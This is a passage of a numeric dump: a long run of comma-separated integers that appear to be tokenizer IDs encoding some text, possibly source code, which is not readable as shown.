29876, 22724, 29922, 29941, 29892, 2537, 2311, 7607, 29929, 29892, 29871, 29941, 511, 6232, 29916, 29922, 5574, 29892, 6232, 29891, 29922, 5574, 29897, 13, 1678, 4853, 353, 27815, 29889, 336, 955, 580, 13, 13, 1678, 4853, 29961, 29900, 1822, 326, 4294, 29898, 3027, 29892, 274, 1958, 29922, 572, 29873, 29889, 4912, 29889, 21012, 29897, 13, 1678, 4853, 29961, 29900, 1822, 842, 29918, 3257, 877, 3563, 433, 3262, 3618, 1495, 13, 1678, 4853, 29961, 29896, 1822, 326, 4294, 6278, 19244, 29892, 274, 1958, 29922, 572, 29873, 29889, 4912, 29889, 21012, 29897, 13, 1678, 4853, 29961, 29896, 1822, 842, 29918, 3257, 877, 13398, 2925, 1495, 13, 1678, 4853, 29961, 29906, 1822, 326, 4294, 29898, 21134, 29892, 274, 1958, 29922, 572, 29873, 29889, 4912, 29889, 29876, 666, 29891, 29918, 21494, 1705, 29897, 13, 1678, 4853, 29961, 29906, 1822, 842, 29918, 3257, 877, 2008, 862, 630, 3618, 1495, 13, 13, 1678, 363, 263, 297, 4853, 29901, 13, 4706, 263, 29889, 842, 29918, 8990, 29918, 2696, 580, 13, 13, 1678, 2537, 29889, 29873, 523, 29918, 2680, 580, 13, 1678, 14770, 29889, 4294, 580, 13, 2277, 13, 13, 1753, 20803, 29918, 29893, 10412, 17143, 29898, 3027, 29901, 7442, 29889, 299, 2378, 29892, 3661, 2158, 29901, 28379, 29961, 9302, 29889, 2378, 29962, 353, 6213, 29892, 3579, 11022, 29897, 1599, 12603, 552, 29961, 524, 29892, 938, 29892, 938, 5387, 13, 1678, 9995, 13, 1678, 9995, 13, 1678, 5418, 353, 29871, 299, 29875, 29889, 19244, 29918, 9067, 29918, 287, 29873, 29898, 3027, 29897, 13, 1678, 565, 3661, 2158, 338, 451, 6213, 29901, 13, 4706, 285, 29886, 353, 3661, 2158, 13, 1678, 1683, 29901, 13, 4706, 285, 29886, 353, 7442, 29889, 2873, 3552, 29896, 29900, 29892, 29871, 29896, 29900, 876, 13, 1678, 1887, 29918, 3317, 29875, 353, 19224, 29918, 2997, 29918, 3317, 29898, 13, 4706, 5418, 29892, 29871, 13, 4706, 16285, 29922, 8824, 29892, 29871, 13, 4706, 3661, 2158, 29922, 9302, 29889, 2873, 3552, 29896, 29900, 29892, 29871, 29896, 29900, 8243, 13, 4706, 11073, 29922, 3027, 29892, 13, 4706, 3579, 11022, 13, 1678, 1723, 13, 1678, 29320, 353, 29871, 299, 29875, 29889, 1643, 29898, 2997, 29918, 3317, 29875, 9601, 29900, 29962, 13, 1678, 11073, 29871, 353, 19922, 17143, 6278, 19244, 29892, 29320, 29892, 11105, 29922, 3027, 29897, 13, 268, 13, 1678, 736, 29320, 29892, 5418, 29892, 11073, 13, 2277, 13, 13, 13, 29937, 512, 29961, 29953, 5387, 13, 13, 13, 29937, 572, 29873, 29889, 3293, 29889, 16515, 13, 13, 13, 29937, 512, 29961, 29955, 5387, 13, 13, 13, 572, 29873, 29889, 3293, 29889, 1509, 877, 344, 370, 1398, 29899, 24535, 1495, 13, 572, 29873, 29889, 2214, 9629, 1839, 4532, 29889, 1003, 2311, 2033, 353, 313, 29896, 29900, 29892, 29871, 29945, 29897, 13, 13, 13, 29937, 512, 29961, 29947, 5387, 13, 13, 13, 2492, 259, 353, 13850, 29889, 326, 949, 877, 326, 5370, 267, 29914, 1252, 29941, 29925, 1727, 29953, 29898, 29874, 467, 29873, 361, 742, 13850, 29889, 7833, 16310, 29918, 29954, 4717, 21554, 5454, 1307, 29897, 13, 2780, 353, 13850, 29889, 11023, 29873, 3306, 29898, 2492, 29892, 13850, 29889, 15032, 1955, 29918, 29954, 22800, 29906, 28212, 29897, 396, 9159, 3509, 29892, 304, 4216, 28684, 22558, 13, 13, 13, 29937, 444, 263, 29889, 313, 29900, 29889, 29945, 28780, 29897, 10783, 1743, 1185, 22658, 8902, 316, 1922, 1182, 284, 15677, 5534, 29892, 2377, 2689, 425, 527, 5370, 343, 3887, 15679, 560, 24578, 316, 425, 2377, 2527, 1056, 1290, 29889, 13, 13, 29937, 512, 29961, 29929, 5387, 13, 13, 13, 524, 575, 1907, 353, 10518, 29889, 3221, 29889, 2557, 29889, 17271, 29898, 8977, 29898, 524, 575, 537, 29922, 2492, 29889, 1579, 8606, 22130, 13, 13, 13, 29937, 512, 29961, 29896, 29900, 5387, 13, 13, 13, 29879, 1983, 29889, 5721, 5317, 29898, 524, 575, 1907, 29892, 26109, 29922, 8824, 29892, 29833, 29922, 5574, 29892, 289, 1144, 29922, 29896, 29900, 29897, 13, 13, 13, 29937, 512, 29961, 29896, 29896, 5387, 13, 13, 13, 29895, 1004, 550, 353, 476, 6816, 550, 29898, 29876, 29918, 695, 504, 414, 29922, 29906, 29892, 4036, 29918, 3859, 29922, 29900, 29892, 26952, 29922, 8824, 467, 9202, 29898, 524, 575, 1907, 29897, 13, 29968, 353, 938, 29898, 29895, 1004, 550, 29889, 19594, 29918, 1760, 414, 5396, 12676, 3101, 13, 13, 13, 29937, 512, 29961, 29896, 29906, 5387, 13, 13, 13, 1760, 414, 29896, 353, 301, 1958, 29898, 524, 29892, 1051, 29898, 14153, 29889, 3166, 29918, 1524, 519, 29898, 29895, 1004, 550, 29889, 19594, 29918, 1760, 414, 29918, 4961, 13, 13, 13, 29937, 512, 29961, 29896, 29941, 5387, 13, 13, 13, 29879, 1983, 29889, 5721, 5317, 29898, 524, 575, 1907, 29892, 26109, 29922, 8824, 29892, 29833, 29922, 5574, 29892, 289, 1144, 29922, 29896, 29900, 29897, 13, 572, 29873, 29889, 1165, 29894, 1220, 29898, 29968, 29892, 2927, 2433, 29878, 1495, 13, 29880, 1958, 29898, 2892, 921, 29901, 14770, 29889, 1165, 29894, 1220, 29898, 29916, 29892, 2927, 2433, 29887, 5477, 1644, 414, 29896, 29897, 13, 29918, 353, 14770, 29889, 3257, 29898, 29888, 29908, 6816, 550, 353, 426, 1760, 414, 29896, 1118, 476, 353, 426, 29968, 17671, 2159, 29922, 29896, 29953, 29897, 13, 13, 13, 29937, 512, 29961, 29896, 29946, 5387, 13, 13, 13, 386, 3781, 29896, 353, 13850, 29889, 386, 12268, 29898, 2492, 29892, 476, 29892, 29871, 29906, 29945, 29945, 29892, 13850, 29889, 4690, 1525, 7068, 29918, 29933, 1177, 19926, 9601, 29896, 29962, 13, 13, 13, 29937, 512, 29961, 29896, 29945, 5387, 13, 13, 13, 13239, 29889, 2975, 29918, 1609, 29918, 2975, 29898, 2492, 29892, 266, 3781, 29896, 29897, 13, 13, 13, 29937, 17295, 13279, 7681, 1147, 29892, 1185, 22658, 262, 1113, 316, 1922, 1182, 284, 15677, 7919, 299, 279, 1986, 413, 29899, 2168, 3173, 286, 29980, 29894, 5475, 29892, 378, 3248, 1612, 3173, 29892, 1146, 1121, 2255, 12287, 6130, 690, 29889, 13, 13, 29937, 512, 29961, 29896, 29953, 5387, 13, 13, 13, 1862, 29884, 29896, 353, 13850, 29889, 386, 12268, 29898, 2492, 29892, 29900, 29892, 29906, 29945, 29945, 29892, 11023, 29889, 4690, 1525, 7068, 29918, 29933, 1177, 19926, 29974, 11023, 29889, 4690, 1525, 7068, 29918, 2891, 14605, 9601, 29896, 29962, 13, 13, 13, 29937, 512, 29961, 29896, 29955, 5387, 13, 13, 13, 13239, 29889, 2975, 29918, 1609, 29918, 2975, 29898, 2492, 29892, 288, 1372, 29884, 29896, 29897, 13, 13, 13, 29937, 1260, 3093, 272, 277, 4346, 316, 438, 1372, 29884, 694, 1480, 336, 16918, 279, 27176, 425, 10768, 2709, 313, 4778, 3152, 316, 17451, 7989, 270, 912, 712, 560, 9825, 13342, 29874, 2441, 3152, 7542, 2503, 289, 326, 397, 284, 467, 29871, 13, 13, 29937, 512, 29961, 29896, 29947, 5387, 13, 13, 13, 29887, 2204, 332, 353, 13850, 29889, 29954, 17019, 10358, 332, 29898, 2492, 22657, 29941, 29892, 29941, 511, 29900, 29897, 13, 1862, 29884, 29906, 353, 13850, 29889, 386, 12268, 29898, 29887, 2204, 332, 29892, 29900, 29892, 29906, 29945, 29945, 29892, 11023, 29889, 4690, 1525, 7068, 29918, 29933, 1177, 19926, 29974, 11023, 29889, 4690, 1525, 7068, 29918, 2891, 14605, 9601, 29896, 29962, 13, 13, 13, 29937, 512, 29961, 29896, 29929, 5387, 13, 13, 13, 13239, 29889, 2975, 29918, 1609, 29918, 2975, 29898, 2492, 29892, 288, 1372, 29884, 29906, 29897, 13, 13, 13, 29937, 1260, 3093, 272, 277, 4346, 316, 438, 1372, 29884, 694, 1480, 336, 16918, 279, 27176, 425, 10768, 2709, 263, 7012, 427, 4145, 22919, 378, 443, 480, 485, 17566, 402, 11214, 3328, 29889, 13, 13, 29937, 512, 29961, 29906, 29900, 5387, 13, 13, 13, 2492, 29918, 2204, 332, 353, 13850, 29889, 2168, 713, 10358, 332, 29898, 2492, 29892, 29871, 29945, 29897, 13, 19052, 7799, 353, 13850, 29889, 29950, 820, 29907, 381, 7799, 29898, 2492, 29918, 2204, 332, 29892, 13850, 29889, 8187, 23338, 29950, 29918, 14345, 3035, 29902, 3919, 29892, 29871, 29896, 29892, 10153, 29889, 12181, 29961, 29900, 16261, 29953, 29946, 29892, 1828, 29896, 29922, 29906, 29900, 29900, 29892, 1828, 29906, 29922, 29896, 29900, 29892, 1375, 20494, 29922, 29945, 29892, 4236, 20494, 29922, 29955, 29897, 13, 13, 13, 29937, 512, 29961, 29906, 29896, 5387, 13, 13, 13, 361, 22558, 338, 451, 6213, 29901, 13, 1678, 22558, 353, 7442, 29889, 13470, 29896, 29953, 29898, 9302, 29889, 11316, 29898, 19052, 7799, 876, 13, 1678, 363, 474, 297, 22558, 29961, 29900, 29892, 584, 5387, 13, 4706, 13850, 29889, 16622, 29898, 2492, 29892, 313, 29875, 29961, 29900, 1402, 474, 29961, 29896, 11724, 474, 29961, 29906, 1402, 313, 29900, 29892, 29871, 29900, 29892, 29871, 29906, 29945, 29945, 511, 29871, 29906, 29897, 13, 13, 13, 29937, 512, 29961, 29906, 29906, 5387, 13, 13, 13, 572, 29873, 29889, 326, 4294, 29898, 2492, 29892, 274, 1958, 2433, 21012, 1495, 13, 13, 13, 29937, 838, 1147, 712, 1869, 19489, 15173, 3006, 8202, 1185, 19173, 24748, 3627, 288, 17275, 19308, 29892, 9541, 29883, 1553, 1185, 1321, 2386, 2969, 28336, 1185, 4327, 1114, 316, 379, 820, 1702, 3593, 4287, 1232, 274, 10687, 1810, 359, 316, 425, 527, 5370, 29892, 7046, 18261, 875, 1727, 29980, 1121, 2255, 12287, 6130, 690, 29889, 10288, 7763, 18261, 2532, 20310, 21802, 279, 378, 425, 527, 5370, 9016, 4568, 29889, 13, 13, 29937, 444, 289, 29889, 313, 29900, 29889, 29945, 28780, 29897, 319, 425, 527, 5370, 13492, 409, 454, 20760, 29980, 1185, 1922, 1182, 284, 15677, 378, 659, 2361, 1887, 267, 343, 284, 24578, 409, 454, 8869, 29980, 1185, 263, 10700, 2002, 3036, 2095, 8510, 983, 16219, 17008, 425, 527, 5370, 1222, 29941, 29925, 1727, 29953, 29898, 29890, 467, 29873, 361, 29889, 10783, 1743, 7444, 527, 5370, 29892, 4979, 2016, 343, 634, 8105, 2650, 2723, 424, 359, 13413, 359, 316, 425, 10768, 2709, 19796, 2050, 7989, 19489, 15173, 11061, 13833, 29889, 29871, 13, 13, 29937, 512, 29961, 29906, 29941, 5387, 13, 13, 13, 2492, 29890, 29871, 353, 13850, 29889, 326, 949, 877, 326, 5370, 267, 29914, 1252, 29941, 29925, 1727, 29953, 29898, 29890, 467, 29873, 361, 742, 13850, 29889, 7833, 16310, 29918, 29954, 4717, 21554, 5454, 1307, 29897, 13, 2492, 12328, 353, 13850, 29889, 11023, 29873, 3306, 29898, 2492, 29890, 29892, 13850, 29889, 15032, 1955, 29918, 5688, 29979, 1001, 29918, 7210, 29906, 28212, 29897, 13, 13239, 29889, 2975, 29918, 1609, 29918, 2975, 29898, 2492, 29890, 29892, 10153, 12328, 29897, 13, 13, 13, 29937, 835, 22915, 22422, 2709, 584, 13, 29937, 1260, 17448, 316, 425, 4327, 1114, 316, 379, 820, 1702, 274, 10687, 1810, 359, 29892, 694, 1702, 10263, 484, 294, 29889, 838, 1147, 425, 527, 5370, 29892, 6888, 2532, 20310, 10420, 279, 712, 443, 274, 10687, 17227, 831, 1185, 1321, 2386, 22422, 2709, 316, 425, 5954, 316, 1185, 19489, 2497, 29892, 1277, 658, 12264, 1232, 274, 7815, 359, 14567, 2255, 1277, 1185, 4327, 1114, 316, 379, 820, 724, 8202, 1869, 19489, 15173, 712, 3593, 11108, 359, 25907, 279, 29892, 15215, 15356, 343, 640, 4427, 15356, 13, 13, 29937, 512, 29961, 29906, 29953, 5387, 13, 13, 13, 19052, 7799, 353, 13850, 29889, 29950, 820, 29907, 381, 7799, 29898, 2492, 29890, 29892, 13850, 29889, 8187, 23338, 29950, 29918, 14345, 3035, 29902, 3919, 29892, 29871, 29896, 29892, 10153, 29889, 12181, 29961, 29900, 16261, 29953, 29946, 29892, 1828, 29896, 29922, 29906, 29900, 29900, 29892, 1828, 29906, 29922, 29896, 29900, 29892, 1375, 20494, 29922, 29945, 29892, 4236, 20494, 29922, 29896, 29945, 29897, 13, 13, 13, 29937, 512, 29961, 29906, 29955, 5387, 13, 13, 13, 361, 22558, 338, 451, 6213, 29901, 13, 1678, 22558, 353, 7442, 29889, 13470, 29896, 29953, 29898, 9302, 29889, 11316, 29898, 19052, 7799, 876, 13, 1678, 363, 474, 297, 22558, 29961, 29900, 29892, 584, 5387, 13, 4706, 13850, 29889, 16622, 29898, 2492, 12328, 29892, 313, 29875, 29961, 29900, 1402, 474, 29961, 29896, 11724, 474, 29961, 29906, 1402, 313, 29896, 29945, 29945, 29892, 29871, 29900, 29892, 29871, 29900, 511, 29871, 29906, 29897, 13, 13, 13, 29937, 512, 29961, 29906, 29947, 5387, 13, 13, 13, 13239, 29889, 2975, 29918, 1609, 29918, 2975, 29898, 2492, 29890, 29892, 10153, 12328, 29897, 13, 13, 13, 29937, 16020, 29983, 13279, 7681, 1147, 712, 17742, 425, 527, 5370, 5882, 2562, 346, 316, 285, 1338, 359, 13686, 12927, 313, 267, 27594, 10843, 1232, 274, 10687, 1810, 359, 652, 2423, 29926, 2255, 16018, 316, 425, 21951, 3720, 1376, 316, 425, 527, 5370, 640, 12980, 1185, 19489, 2497, 29897, 560, 3579, 29876, 30030, 1050, 29877, 316, 285, 1338, 359, 3480, 29002, 831, 5272, 29983, 3601, 29877, 1068, 584, 19615, 417, 1185, 18946, 9658, 3810, 316, 1869, 19489, 15173, 5820, 3922, 12004, 25907, 3922, 1277, 7521, 11023, 29889, 29950, 820, 29907, 381, 7799, 2555, 29952, 1412, 29871, 13, 29937, 29871, 13, 29937, 2661, 29877, 7814, 1399, 983, 712, 5969, 7763, 1869, 19489, 15173, 694, 409, 408, 2004, 8931, 12264, 263, 443, 274, 10687, 17227, 29889, 7102, 7444, 8006, 888, 29892, 694, 409, 3902, 272, 20484, 3627, 263, 6299, 29877, 7444, 325, 1553, 316, 1274, 1290, 29889, 315, 4302, 1757, 12401, 279, 712, 425, 4327, 1114, 14647, 274, 10687, 1810, 359, 427, 560, 1426, 29877, 316, 2094, 4302, 29920, 912, 584, 3579, 1888, 5370, 378, 263, 10700, 2002, 1068, 29889, 7102, 7444, 8006, 888, 29892, 427, 628, 1647, 409, 16069, 20484, 378, 19744, 527, 5370, 1162, 441, 1114, 263, 24318, 1702, 429, 695, 29884, 381, 4404, 1426, 29877, 712, 2532, 20310, 3269, 279, 29726, 427, 425, 10768, 2709, 3627, 594, 295, 1647, 29889, 13, 13, 29937, 512, 29961, 29906, 29929, 5387, 13, 13, 13, 2492, 29890, 29906, 29871, 353, 13850, 29889, 326, 949, 877, 326, 5370, 267, 29914, 1252, 29941, 29925, 1727, 29953, 29898, 29890, 29897, 29941, 29889, 29873, 361, 742, 13850, 29889, 7833, 16310, 29918, 29954, 4717, 21554, 5454, 1307, 29897, 13, 2492, 29890, 29906, 29883, 353, 2821, 29918, 11466, 29898, 2492, 29890, 29906, 29897, 13, 13239, 29889, 2975, 29918, 1609, 29918, 2975, 29898, 2492, 29890, 29906, 29892, 10153, 29890, 29906, 29883, 29897, 13, 13, 13, 29937, 512, 29961, 29941, 29900, 5387, 13, 13, 13, 29879, 1983, 29889, 5721, 5317, 29898, 2492, 29890, 29906, 29883, 29889, 1579, 8606, 3285, 26109, 29922, 8824, 29892, 29833, 29922, 5574, 29897, 13, 13, 13, 29937, 1954, 5370, 7542, 2503, 9016, 4568, 29889, 13, 13, 29937, 512, 29961, 29941, 29896, 5387, 13, 13, 13, 1643, 29918, 3027, 29892, 302, 29918, 711, 1315, 353, 3858, 29898, 2492, 29890, 29906, 29883, 29892, 736, 29918, 1949, 29922, 5574, 29897, 13, 1003, 29892, 4853, 353, 14770, 29889, 1491, 26762, 29898, 1003, 2311, 7607, 29896, 29900, 29892, 29871, 29896, 29900, 876, 13, 29937, 1165, 29889, 326, 4294, 29898, 1643, 29918, 3027, 29961, 29896, 29900, 29900, 29901, 29906, 29900, 29900, 29892, 29900, 29901, 29896, 29900, 29900, 29901, 2314, 13, 1165, 29889, 326, 4294, 29898, 1643, 29918, 3027, 29897, 13, 2158, 29898, 29876, 29918, 711, 1315, 29897, 13, 13, 13, 29937, 16020, 29983, 13279, 7681, 1147, 28810, 4346, 7521, 808, 3027, 29889, 1643, 2555, 16159, 831, 19208, 4243, 1702, 25907, 279, 13413, 359, 427, 1185, 527, 5370, 9016, 4568, 29889, 13, 13, 29937, 512, 29961, 29941, 29906, 5387, 13, 13, 13, 711, 1315, 353, 5120, 11030, 29898, 1643, 29918, 3027, 29897, 29871, 13, 598, 294, 353, 10518, 29889, 3221, 29889, 2557, 29889, 17271, 3319, 13, 1678, 525, 6203, 2396, 2910, 29898, 2892, 921, 29901, 921, 29889, 6203, 29892, 704, 1315, 29897, 13, 1800, 13, 13, 13, 29937, 350, 7069, 1869, 21464, 29980, 2167, 275, 584, 13, 29937, 418, 29896, 29889, 1260, 17335, 25209, 316, 1869, 289, 5761, 3173, 4365, 434, 1185, 20441, 1290, 4226, 1153, 6626, 519, 23521, 371, 24567, 5815, 29889, 13, 29937, 418, 29906, 29889, 1260, 17335, 316, 425, 10269, 1557, 2518, 316, 10768, 2709, 1176, 1114, 263, 18198, 316, 1185, 1922, 1182, 284, 15677, 378, 659, 2361, 1887, 267, 343, 1185, 263, 10700, 2002, 3036, 4542, 8510, 983, 831, 1185, 1321, 2386, 22422, 2709, 628, 17335, 316, 1185, 19489, 2497, 29889, 13, 29937, 29871, 13, 29937, 997, 21204, 3175, 301, 8510, 983, 724, 1553, 712, 8334, 409, 3006, 8202, 3248, 288, 3627, 19489, 15173, 343, 712, 425, 263, 10700, 2002, 443, 3556, 1869, 1072, 2884, 316, 10768, 2709, 29892, 560, 16497, 628, 17335, 19291, 20484, 11888, 8122, 9936, 29889, 13, 13, 29937, 512, 29961, 29941, 29941, 5387, 13, 13, 13, 598, 294, 29889, 2783, 29581, 3285, 269, 1983, 29889, 1884, 5317, 29898, 598, 294, 29897, 13, 13, 13, 29937, 512, 29961, 29941, 29946, 5387, 13, 13, 13, 29879, 1983, 29889, 5721, 5317, 29898, 598, 294, 29892, 26109, 29922, 8824, 29892, 29833, 29922, 5574, 29897, 13, 13, 13, 29937, 11597, 466, 1743, 425, 20441, 1290, 316, 1869, 3976, 12588, 29892, 409, 10671, 661, 20071, 28780, 5147, 3068, 359, 263, 274, 1489, 29892, 904, 303, 359, 724, 1715, 1663, 412, 22643, 2255, 263, 3133, 2709, 29889, 13, 13, 29937, 512, 29961, 29941, 29945, 5387, 13, 13, 13, 29918, 353, 10161, 29889, 6203, 29889, 6605, 29918, 5975, 580, 13, 29918, 7503, 29896, 29900, 1402, 903, 14352, 29896, 29900, 17531, 13, 13, 13, 29937, 11545, 12609, 316, 1232, 27141, 659, 2361, 316, 1869, 3976, 12588, 3928, 264, 7542, 2503, 263, 285, 1338, 359, 13686, 12927, 29892, 17485, 694, 3006, 29629, 19489, 15173, 316, 6888, 288, 3248, 9277, 5830, 29889, 2661, 359, 9277, 5830, 16568, 3944, 694, 409, 5820, 10910, 427, 425, 527, 5370, 2441, 29892, 316, 28217, 16354, 409, 19860, 279, 1715, 12219, 2689, 1702, 694, 3999, 5397, 560, 385, 2464, 15773, 13446, 29889, 13, 13, 29937, 922, 3107, 650, 22215, 928, 279, 1232, 274, 30030, 16109, 359, 316, 29871, 29896, 29892, 29871, 29906, 343, 29871, 29941, 288, 3627, 289, 5761, 3173, 427, 2090, 1290, 628, 17335, 29889, 922, 11824, 20484, 560, 3093, 272, 277, 4346, 316, 1869, 1612, 3173, 286, 29980, 29894, 5475, 378, 9941, 26161, 29892, 831, 27594, 3248, 1922, 1182, 2122, 29889, 13, 13, 29937, 512, 29961, 29941, 29953, 5387, 13, 13, 13, 711, 1315, 29906, 29871, 353, 5120, 11030, 29898, 1643, 29918, 3027, 29897, 13, 711, 1315, 29906, 29871, 353, 1051, 29898, 4572, 29898, 2892, 921, 29901, 921, 565, 921, 29889, 6203, 1405, 29871, 29906, 1683, 7700, 29892, 704, 1315, 29906, 876, 13, 598, 294, 29906, 353, 10518, 29889, 3221, 29889, 2557, 29889, 17271, 3319, 13, 1678, 525, 6203, 2396, 2910, 29898, 2892, 921, 29901, 921, 29889, 6203, 29892, 704, 1315, 29906, 29897, 13, 1800, 13, 13, 13, 29937, 512, 29961, 29941, 29955, 5387, 13, 13, 13, 29895, 1004, 550, 29906, 353, 476, 6816, 550, 29898, 29876, 29918, 695, 504, 414, 29922, 29941, 29892, 4036, 29918, 3859, 29922, 29900, 29892, 26952, 29922, 8824, 467, 9202, 29898, 598, 294, 29906, 29897, 13, 1760, 414, 353, 10518, 29889, 3221, 29889, 2557, 29889, 17271, 3319, 13, 1678, 376, 1004, 550, 1115, 9704, 29889, 3166, 29918, 1524, 519, 29898, 29895, 1004, 550, 29906, 29889, 19594, 29918, 1760, 414, 19925, 13, 1800, 13, 1760, 414, 1839, 29895, 2033, 353, 1644, 414, 29889, 22155, 29898, 29906, 467, 12676, 580, 13, 2158, 29898, 1760, 414, 29897, 13, 1760, 414, 353, 1644, 414, 29889, 7302, 1958, 29898, 2892, 921, 29901, 7442, 29889, 524, 29953, 29946, 29898, 29916, 29897, 565, 451, 7442, 29889, 275, 13707, 29898, 29916, 29897, 1683, 921, 29897, 13, 2158, 29898, 1760, 414, 29897, 13, 13, 13, 29937, 512, 29961, 29941, 29947, 5387, 13, 13, 13, 29879, 1983, 29889, 5721, 5317, 29898, 598, 294, 29906, 29892, 26109, 29922, 8824, 29892, 29833, 29922, 5574, 29897, 13, 29880, 1958, 29898, 2892, 921, 29901, 14770, 29889, 1165, 29894, 1220, 29898, 29916, 29892, 2927, 2433, 29878, 5477, 1644, 414, 29889, 29895, 29889, 8865, 1056, 3101, 13, 29880, 1958, 29898, 2892, 921, 29901, 14770, 29889, 1165, 29894, 1220, 29898, 29916, 29892, 2927, 2433, 29887, 5477, 1644, 414, 29889, 1004, 550, 29897, 13, 29918, 353, 14770, 29889, 3257, 29898, 29888, 29908, 6816, 550, 353, 426, 1760, 414, 29889, 1004, 550, 29889, 25027, 391, 580, 1118, 476, 29879, 353, 426, 1760, 414, 29889, 29895, 29889, 8865, 1056, 2141, 25027, 391, 580, 17671, 2159, 29922, 29896, 29953, 29897, 13, 13, 13, 29937, 512, 29961, 29941, 29929, 5387, 13, 13, 13, 2039, 353, 1644, 414, 29889, 29895, 29889, 8865, 1056, 2141, 25027, 391, 580, 13, 3729, 29879, 353, 518, 13, 1678, 301, 4572, 29898, 2892, 921, 29901, 921, 565, 921, 29889, 6203, 529, 413, 29879, 29961, 29900, 29962, 1683, 7700, 29892, 704, 1315, 29906, 511, 13, 1678, 301, 4572, 29898, 2892, 921, 29901, 921, 565, 921, 29889, 6203, 6736, 413, 29879, 29961, 29900, 29962, 29871, 322, 921, 29889, 6203, 529, 413, 29879, 29961, 29896, 29962, 1683, 7700, 29892, 704, 1315, 29906, 511, 13, 1678, 301, 4572, 29898, 2892, 921, 29901, 921, 565, 921, 29889, 6203, 6736, 413, 29879, 29961, 29896, 29962, 1683, 7700, 29892, 704, 1315, 29906, 29897, 13, 29962, 13, 13, 13, 29937, 315, 1633, 359, 1185, 15023, 316, 1051, 294, 427, 425, 8351, 21654, 16962, 4396, 9941, 26161, 316, 289, 5761, 3173, 313, 29883, 30030, 16109, 359, 316, 29871, 29896, 29892, 29871, 29906, 288, 3627, 29897, 25907, 2255, 1277, 7521, 808, 3027, 29889, 1643, 2555, 29952, 1673, 2903, 2255, 427, 2090, 1290, 316, 1232, 1922, 1182, 2122, 14567, 2255, 2504, 15844, 1743, 1232, 2504, 287, 2363, 14567, 2255, 1277, 7521, 808, 14044, 29889, 29968, 6816, 550, 2555, 29952, 1412, 13, 29937, 29871, 13, 29937, 319, 3133, 2709, 409, 5820, 273, 1869, 10269, 14494, 294, 25907, 1743, 1232, 26161, 3390, 12927, 29889, 405, 15827, 968, 712, 560, 26949, 378, 425, 9105, 5107, 2368, 316, 1059, 267, 313, 578, 1030, 10481, 285, 1338, 359, 13686, 12927, 29897, 831, 560, 316, 3248, 19489, 15173, 29889, 13, 29937, 29871, 13, 29937, 5430, 1066, 5820, 2255, 584, 13, 29937, 418, 29896, 29889, 1174, 696, 2212, 29871, 584, 1185, 19489, 2497, 29889, 13, 29937, 418, 29906, 29889, 1174, 1147, 311, 584, 3248, 19489, 15173, 29889, 13, 29937, 418, 29941, 29889, 1174, 2698, 352, 29871, 584, 3627, 316, 3248, 19489, 15173, 29889, 13, 13, 29937, 512, 29961, 29946, 29900, 5387, 13, 13, 13, 1454, 3038, 29892, 2927, 297, 14319, 29898, 3729, 29879, 29892, 525, 1127, 7933, 7254, 4286, 5451, 877, 525, 22164, 13, 1678, 2377, 5317, 29898, 2492, 29890, 29906, 29883, 29892, 3038, 29892, 2927, 29922, 2780, 29897, 13, 13, 13, 29937, 512, 29961, 29946, 29896, 5387, 13, 13, 13, 535, 371, 29877, 353, 426, 29888, 29908, 6039, 4026, 359, 316, 426, 29875, 29913, 19489, 15173, 1115, 7431, 29898, 3729, 29879, 29961, 29875, 29899, 29896, 2314, 363, 474, 297, 3464, 29898, 29896, 29892, 29871, 29946, 2915, 13, 535, 371, 29877, 13, 13, 13, 29937, 16020, 29983, 7919, 560, 21030, 29877, 628, 13831, 316, 289, 5761, 3173, 1277, 13413, 29877, 427, 425, 10269, 1557, 2518, 316, 10768, 2709, 313, 326, 5370, 9016, 4568, 467, 13, 29937, 897, 2637, 17824, 1869, 1067, 2129, 29892, 2553, 29629, 1970, 4447, 17275, 427, 425, 17329, 16512, 29892, 270, 912, 712, 425, 286, 1572, 2903, 2709, 427, 2090, 1290, 628, 17335, 694, 289, 5427, 1702, 10121, 381, 19967, 4979, 22536, 2637, 274, 30030, 16109, 359, 316, 1185, 19489, 2497, 6815, 29892, 3248, 343, 9941, 316, 1869, 28276, 1185, 288, 3248, 19796, 724, 18946, 27451, 29889, 13, 13, 29937, 830, 13732, 316, 1059, 267, 5820, 2255, 427, 560, 26949, 316, 3579, 29881, 359, 19489, 15173, 1068, 29889, 29871, 13, 29937, 29871, 13, 29937, 418, 29896, 29889, 383, 1338, 359, 1400, 12927, 29871, 584, 29871, 29896, 29900, 13, 29937, 418, 29906, 29889, 383, 1338, 359, 3480, 29002, 584, 29871, 29896, 13, 29937, 418, 13, 13, 29937, 512, 29961, 29946, 29906, 5387, 13, 13, 13, 572, 29873, 29889, 5358, 877, 497, 1495, 13, 13, 13, 29937, 512, 29961, 29946, 29953, 5387, 13, 13, 13, 29937, 3118, 29899, 1915, 261, 1304, 304, 5445, 278, 28199, 310, 10768, 362, 12786, 13, 8305, 353, 14013, 921, 29901, 13850, 29889, 8552, 9984, 17025, 29898, 9302, 29889, 7411, 29953, 29946, 29898, 29916, 29889, 3027, 511, 29871, 29896, 29900, 29892, 29871, 29896, 29900, 29892, 29871, 29896, 29900, 29892, 29871, 29896, 29900, 29892, 13850, 29889, 29933, 22364, 29918, 6007, 1254, 13566, 29897, 13, 13, 13, 29937, 512, 29961, 29946, 29955, 5387, 13, 13, 13, 598, 294, 29906, 353, 10518, 29889, 3221, 29889, 13757, 29889, 19204, 29898, 29880, 1958, 29898, 2892, 921, 29901, 921, 29889, 6203, 29892, 9101, 29961, 29896, 12622, 13, 29879, 1983, 29889, 5721, 5317, 29898, 598, 294, 29906, 29897, 13, 572, 29873, 29889, 1165, 29894, 1220, 29898, 598, 294, 29906, 29889, 12676, 3285, 2927, 2433, 29887, 1495, 13, 572, 29873, 29889, 1165, 29894, 1220, 29898, 598, 294, 29906, 29889, 12676, 580, 718, 10161, 29906, 29889, 4172, 580, 1919, 2927, 2433, 29878, 1495, 13, 572, 29873, 29889, 1165, 29894, 1220, 29898, 598, 294, 29906, 29889, 12676, 580, 448, 10161, 29906, 29889, 4172, 580, 1919, 2927, 2433, 29878, 1495, 13, 13, 13, 29937, 512, 29961, 29953, 29900, 5387, 13, 13, 13, 27857, 267, 353, 518, 3729, 363, 3038, 297, 9101, 29961, 29896, 29962, 565, 3038, 29889, 6203, 1405, 10161, 29906, 29889, 12676, 580, 448, 29871, 29900, 29889, 29945, 29930, 598, 294, 29906, 29889, 4172, 580, 29962, 13, 13, 13, 29937, 512, 29961, 29953, 29896, 5387, 13, 13, 13, 1454, 3038, 297, 13830, 29901, 13, 1678, 1967, 353, 17132, 29898, 3729, 29897, 13, 1678, 29320, 29892, 5418, 29892, 11073, 353, 20803, 